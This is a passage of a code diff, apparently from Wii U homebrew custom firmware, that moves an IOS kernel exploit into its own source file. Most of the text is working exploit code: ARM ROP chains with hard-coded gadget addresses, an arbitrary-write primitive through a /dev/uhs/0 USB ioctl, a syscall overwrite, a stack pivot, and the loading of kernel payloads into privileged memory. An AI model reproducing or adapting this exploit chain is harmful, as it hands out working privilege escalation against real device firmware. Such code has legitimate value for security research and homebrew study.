0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
};
static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
};
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
{
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000;
payloads->size = sizeof(cfw_config_t);
memcpy(payloads->data, config, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->redNAND)
{
payloads->size = sizeof(ios_fs_bin);
memcpy(payloads->data, ios_fs_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->seeprom_red)
{
payloads->size = sizeof(ios_bsp_bin);
memcpy(payloads->data, ios_bsp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
payloads->size = sizeof(ios_mcp_bin);
memcpy(payloads->data, ios_mcp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->launchImage)
{
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
if(pFile)
{
fseek(pFile, 0, SEEK_END);
payloads->size = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
fread(payloads->data, 1, payloads->size, pFile);
fclose(pFile);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
else
{
payloads->size = launch_image_tga_size;
memcpy(payloads->data, launch_image_tga, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
pretend_root_hub[33] = 0x500000;
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
{
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}
int ExecuteIOSExploit(cfw_config_t * config)
{
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
if(iosuhaxFd < 0)
{
//! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
if(dev_uhs_0_handle < 0)
return dev_uhs_0_handle;
uhs_exploit_init(dev_uhs_0_handle, config);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
IOS_Close(dev_uhs_0_handle);
}
else
{
//! do not run patches again as that will most likely crash
//! because the wupserver and the iosuhax dev node are still running
//! just relaunch IOS with new configuration
IOS_Close(iosuhaxFd);
}
return 0;
}

16
src/ios_exploit.h Normal file
View File

@ -0,0 +1,16 @@
#ifndef _IOS_EXPLOIT_H_
#define _IOS_EXPLOIT_H_
#include "cfw_config.h"
#ifdef __cplusplus
extern "C" {
#endif
int ExecuteIOSExploit(cfw_config_t * config);
#ifdef __cplusplus
}
#endif
#endif

View File

@ -19,297 +19,9 @@
#include "common/common.h" #include "common/common.h"
#include "menu.h" #include "menu.h"
#include "main.h" #include "main.h"
#include "ios_exploit.h"
#define ALIGN4(x) (((x) + 3) & ~3) static int exitToHBLOnLaunch = 0;
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE (0x120000)
#define IOS_CREATETHREAD 0x1012EABC
#define ARM_CODE_BASE 0x08135000
#define REPLACE_SYSCALL 0x081298BC
extern const u8 launch_image_tga[];
extern const u32 launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
static int uhs_write32(int uhs_handle, int arm_addr, int val);
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "../ios_kernel/ios_kernel.bin.h"
#include "../ios_usb/ios_usb.bin.h"
#include "../ios_fs/ios_fs.bin.h"
#include "../ios_bsp/ios_bsp.bin.h"
#include "../ios_mcp/ios_mcp.bin.h"
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
};
static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
};
int Menu_Main(void) int Menu_Main(void)
{ {
@ -317,8 +29,24 @@ int Menu_Main(void)
InitOSFunctionPointers(); InitOSFunctionPointers();
InitSysFunctionPointers(); InitSysFunctionPointers();
InitFSFunctionPointers(); InitFSFunctionPointers();
InitSocketFunctionPointers();
InitVPadFunctionPointers(); InitVPadFunctionPointers();
u64 currenTitleId = OSGetTitleID();
// in case we are not in mii maker or HBL channel but in system menu or another channel we need to exit here
if (currenTitleId != 0x000500101004A200 && // mii maker eur
currenTitleId != 0x000500101004A100 && // mii maker usa
currenTitleId != 0x000500101004A000 && // mii maker jpn
currenTitleId != 0x0005000013374842) // HBL channel
{
return EXIT_RELAUNCH_ON_LOAD;
}
else if(exitToHBLOnLaunch)
{
return 0;
}
VPADInit(); VPADInit();
int forceMenu = 0; int forceMenu = 0;
@ -346,130 +74,29 @@ int Menu_Main(void)
launch = ShowMenu(&config); launch = ShowMenu(&config);
} }
if(!launch) int returnCode = 0;
{
unmount_sd_fat("sd");
return 0;
}
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); if(launch)
if(iosuhaxFd < 0)
{ {
//! execute exploit int res = ExecuteIOSExploit(&config);
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); if(res == 0)
if(dev_uhs_0_handle < 0)
{ {
unmount_sd_fat("sd"); if(config.noIosReload == 0)
return 0; {
OSForceFullRelaunch();
SYSLaunchMenu();
returnCode = EXIT_RELAUNCH_ON_LOAD;
}
else if(config.launchSysMenu)
{
SYSLaunchMenu();
exitToHBLOnLaunch = 1;
returnCode = EXIT_RELAUNCH_ON_LOAD;
}
} }
uhs_exploit_init(dev_uhs_0_handle, &config);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
IOS_Close(dev_uhs_0_handle);
}
else
{
//! do not run patches again as that will most likely crash
//! because the wupserver and the iosuhax dev node are still running
//! just relaunch IOS with new configuration
IOS_Close(iosuhaxFd);
} }
unmount_sd_fat("sd"); unmount_sd_fat("sd");
OSForceFullRelaunch();
SYSLaunchMenu(); return returnCode;
return EXIT_RELAUNCH_ON_LOAD;
}
//!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC;
static int *ayylmao = (int*)0xF4500000;
//!-------------------------------------
typedef struct
{
u32 size;
u8 data[0];
} payload_info_t;
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
{
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000;
payloads->size = sizeof(cfw_config_t);
memcpy(payloads->data, config, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->redNAND)
{
payloads->size = sizeof(ios_fs_bin);
memcpy(payloads->data, ios_fs_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->seeprom_red)
{
payloads->size = sizeof(ios_bsp_bin);
memcpy(payloads->data, ios_bsp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
payloads->size = sizeof(ios_mcp_bin);
memcpy(payloads->data, ios_mcp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->launchImage)
{
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
if(pFile)
{
fseek(pFile, 0, SEEK_END);
payloads->size = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
fread(payloads->data, 1, payloads->size, pFile);
fclose(pFile);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
else
{
payloads->size = launch_image_tga_size;
memcpy(payloads->data, launch_image_tga, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
pretend_root_hub[33] = 0x500000;
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
{
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
